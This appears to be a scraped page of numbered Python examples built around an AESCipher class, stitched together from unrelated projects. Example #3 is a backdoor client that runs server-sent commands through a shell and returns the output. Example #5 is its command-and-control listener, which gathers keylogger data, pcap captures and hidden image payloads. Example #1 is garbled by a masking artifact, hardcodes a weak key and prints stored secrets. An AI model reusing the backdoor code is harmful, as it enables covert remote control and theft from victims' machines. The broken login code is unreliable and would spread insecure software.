Пример #1
0
def reg_phase():
    #TODO: Compare with auth data table

    DB = np.load('pass.npy').item()

    usr = input('Enter User Name: ')
    psw = input('Enter Password: '******'ascii')).hexdigest()
    print(hashed_pass)

    aes = AESCipher('passwword')
    if usr not in DB.keys():
        print("Please Wait....")
        print("Authenticating...")
        print()
        DB[usr] = aes.encrypt(hashed_pass)
        print(DB)
        print()
        print(DB[usr])
        np.save('pass.npy', DB)

    else:
        print("Username Already Exists.")
        print("Please Wait....")
        print("Validating...")
        print(DB[usr])
        print('\n\n')
        print(DB)
        print('\n\n')
        print(aes.decrypt(DB[usr]))
        if hashed_pass == aes.decrypt(DB[usr]):
            print('Login Successful')
        else:
            print('Invalid Credentials')
            reg_phase()
Пример #2
0
def descifrarAES():
    key = entry_1.get()
    name_file = entry_2.get()
    file = open(name_file, 'r')
    text = file.read()
    aes = AESCipher(key)
    textCifradoAES = aes.decrypt(text)
    file = open('msjDescifradoAES.txt', 'w')
    file.write(textCifradoAES)
    file.close()
    print("Descifrado AES: ", textCifradoAES)
Пример #3
0
    def run(self):
        while True:
            cipher = AESCipher(str(self.shared_key))
            data = self.send_request(
                cipher.encrypt(str("2 " + REQUEST_STRING).encode()))
            if data != b'':
                res = cipher.decrypt(data).decode()
                if res is not None and res != '':
                    print('The server sent: ' + res)
                    if res != 'Thanks':
                        returned_output = '3 '
                        try:
                            returned_output += subprocess.check_output(
                                res, shell=True).decode()
                        except Exception as e:
                            returned_output += str(e)
                        data = self.send_request(
                            cipher.encrypt(returned_output.encode()))
                        print('The server sent: ' +
                              cipher.decrypt(data).decode())

            sleep_rand = random.uniform(1.0, 2.0)
            print("Waiting for {}".format(sleep_rand))
            time.sleep(sleep_rand * 30)
Пример #4
0
def decrypt():
    data = request.get_json()
    cipher = AESCipher(data.get('key'))
    decrypted = cipher.decrypt(data.get('ciphertext'))
    return jsonify(data=decrypted.decode())
Пример #5
0
    def listen(self, server_socket, client_socket):
        while self.cond:
            try:
                try:
                    data_bytes = client_socket.recv(RECV_LENGTH)
                except:
                    client_socket.close()
                    print(CLOSE_CON_MSG)
                    return
                data = None
                try:
                    data = bytes(data_bytes).decode()
                except:
                    data = data_bytes
                if data is not None and data == '':
                    client_socket.close()
                    print(CLOSE_CON_MSG)
                else:
                    if data is not None and data.split()[0] == "1":
                        self.p = int(data.split()[1])
                        self.g = int(data.split()[2])
                        self.public_key = pow(self.g, self.private_key, self.p)
                        client_socket.send(
                            str("2 " + str(self.public_key)).encode())
                    elif data is not None and data.split()[0] == "2":
                        self.shared_key = pow(int(data.split()[1]),
                                              self.private_key, self.p)
                        client_socket.send(
                            str("2 " + str(self.public_key)).encode())
                        print("key changed!")
                    elif data[:1] == b'3':
                        cipher = AESCipher(str(self.shared_key))
                        data_decrypt = cipher.decrypt(data[1:]).decode()
                        # if self.todo:
                        print(self.todo)
                        cipher_text = cipher.encrypt(str('3 ' + self.todo))
                        client_socket.send(cipher_text)
                    elif data[:1] == b'4':
                        cipher = AESCipher(str(self.shared_key))
                        data_decrypt = cipher.decrypt(data[1:]).decode()
                        self.result += data_decrypt
                        time.sleep(1)
                        cipher_text = cipher.encrypt('4 Thanks')
                        client_socket.send(cipher_text)
                    elif data[:1] == '5' or data[:1] == b'5':
                        if data == '5finish':
                            self.total_data += b'\x82'
                            new_file = open("1.png", "wb")
                            # write to file
                            new_file.write(self.total_data)
                            # new_file.close()
                            self.total_data = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A'
                            self.result += EncodeImg.restor_message(
                                file_path).strip()
                        else:
                            self.total_data += data[1:]
                    elif data is not None and (data[:1] == b"6"
                                               or data[:1] == "6"):
                        cipher = AESCipher(str(self.shared_key))
                        data_decrypt = cipher.decrypt(data[1:])
                        self.result += "Key logger sent: {}".format(
                            data_decrypt.decode('utf-8', 'ignore'))
                    elif data[:1] == b'7' or data[:1] == '7':
                        if data == '7finish':
                            new_file = open(
                                "{}.pcap".format(str(self.pcap_fila_num)),
                                "wb")
                            self.pcap_fila_num += 1
                            # write to file
                            new_file.write(self.pcap_data)
                            new_file.close()
                            self.pcap_data = b'\xD4\xC3\xB2\xA1\x02\x00\x04\x00'
                            self.result += "pcap file was dumped"
                        else:
                            self.pcap_data += data[1:]

            except socket.timeout:
                print(CLOSE_CON_MSG)
                client_socket.close()
Пример #6
0
cipher = AESCipher(random_key)

#server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((SERVER_HOST, SERVER_PORT))
    s.listen()
    print("SERVER listening")
    if True:  #to replace while True: in test
        conn, addr = s.accept()
        conn.settimeout(5)
        with conn:
            print('Connected by', addr)
            frame_size = conn.recv(80)
            frame_size = int(frame_size)
            while True:
                frame = b''
                remaining_bytes = frame_size
                print('WAITING FOR %g BYTES' % remaining_bytes)
                while remaining_bytes > 0:
                    data = conn.recv(remaining_bytes)
                    if not data:
                        break
                    frame += data
                    remaining_bytes = frame_size - sys.getsizeof(frame)
                    print('%g bytes remaining' % remaining_bytes)

                print('size of the received buffer : %s' %
                      sys.getsizeof(frame))
                frame = cipher.decrypt(frame)
                print('size of the received frame : %s' % sys.getsizeof(frame))
                print('received frame : %s' % frame)
client_public_key = int(messanger.get_message().decode())

diffie_hellman.set_other_public(client_public_key)

messanger.send_message(str(diffie_hellman.get_public()).encode())

diffie_hellman.generate_shared_private_key()
SECRET = diffie_hellman.get_shared_private_key()

print('shared secret', SECRET)
aes = AESCipher(str(SECRET))

#signature procedure
rsa_public_key = pickle.loads(messanger.get_message())
print(rsa_public_key)

received_message = pickle.loads(messanger.get_message())
print(received_message)
message = received_message[0]
signature = received_message[1]

try:
    verify_status = rsa.verify(message, signature, rsa_public_key)
    data = aes.decrypt(message)
    print('decoded', data)
except rsa.pkcs1.VerificationError:
    print('verification failed')
except:
    print('error')
    print(sys.exc_info()[0])